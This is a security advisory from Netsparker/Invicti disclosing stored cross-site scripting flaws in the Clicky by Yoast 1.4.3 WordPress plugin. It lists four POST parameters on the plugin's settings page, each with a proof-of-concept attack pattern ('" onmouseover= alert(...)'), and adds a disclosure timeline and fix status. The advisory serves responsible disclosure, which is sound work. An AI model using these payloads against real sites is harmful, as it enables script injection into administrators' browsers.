Information
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Advisory by Netsparker (now Invicti)
Name: Stored Multiple XSS Vulnerabilities in Clicky by Yoast 1.4.3
Affected Software: Clicky By Yoast 1.4.3
Affected Versions: 1.4.3 and possibly below
Vendor Homepage: https://wordpress.org/plugins/wordpress-seo/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-008

Technical Details
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Proof of Concept URLs for XSS vulnerabilities in Clicky by Yoast 1.4.3:

URL /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name admin_site_key
Parameter Type POST
Attack Pattern '" onmouseover= alert(0x000136)

URL /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name site_id
Parameter Type POST
Attack Pattern '" onmouseover= alert(0x0000DA)

URL /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name site_key
Parameter Type POST
Attack Pattern '" onmouseover= alert(0x000108)

URL /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name outbound_pattern
Parameter Type POST
Attack Pattern '" onmouseover= alert(0x0001EE)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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29 Jun 2016 - First Contact
01 Jul 2016 - Vendor Replied
27 Jul 2016 - Advisory Released

Solution
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Patch released by Yoast SEO and announced here.

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.